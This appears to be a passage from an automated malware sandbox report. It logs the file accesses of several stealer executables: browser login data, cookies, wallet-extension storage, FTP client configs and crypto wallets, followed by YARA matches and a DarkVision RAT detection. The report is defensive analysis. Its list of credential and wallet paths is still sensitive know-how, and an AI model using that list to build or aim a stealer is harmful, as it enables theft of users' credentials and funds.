Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ

Source: Yara match	File source: 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2241106729.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2019127027.000000000105D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2268488347.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s7MG2VL.exe PID: 8140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZqkKpwG.exe PID: 6364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eAzoDbY.exe PID: 4224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yo7qmvz.exe PID: 2828, type: MEMORYSTR

Remote Access Functionality

Yara detected DarkVision Rat

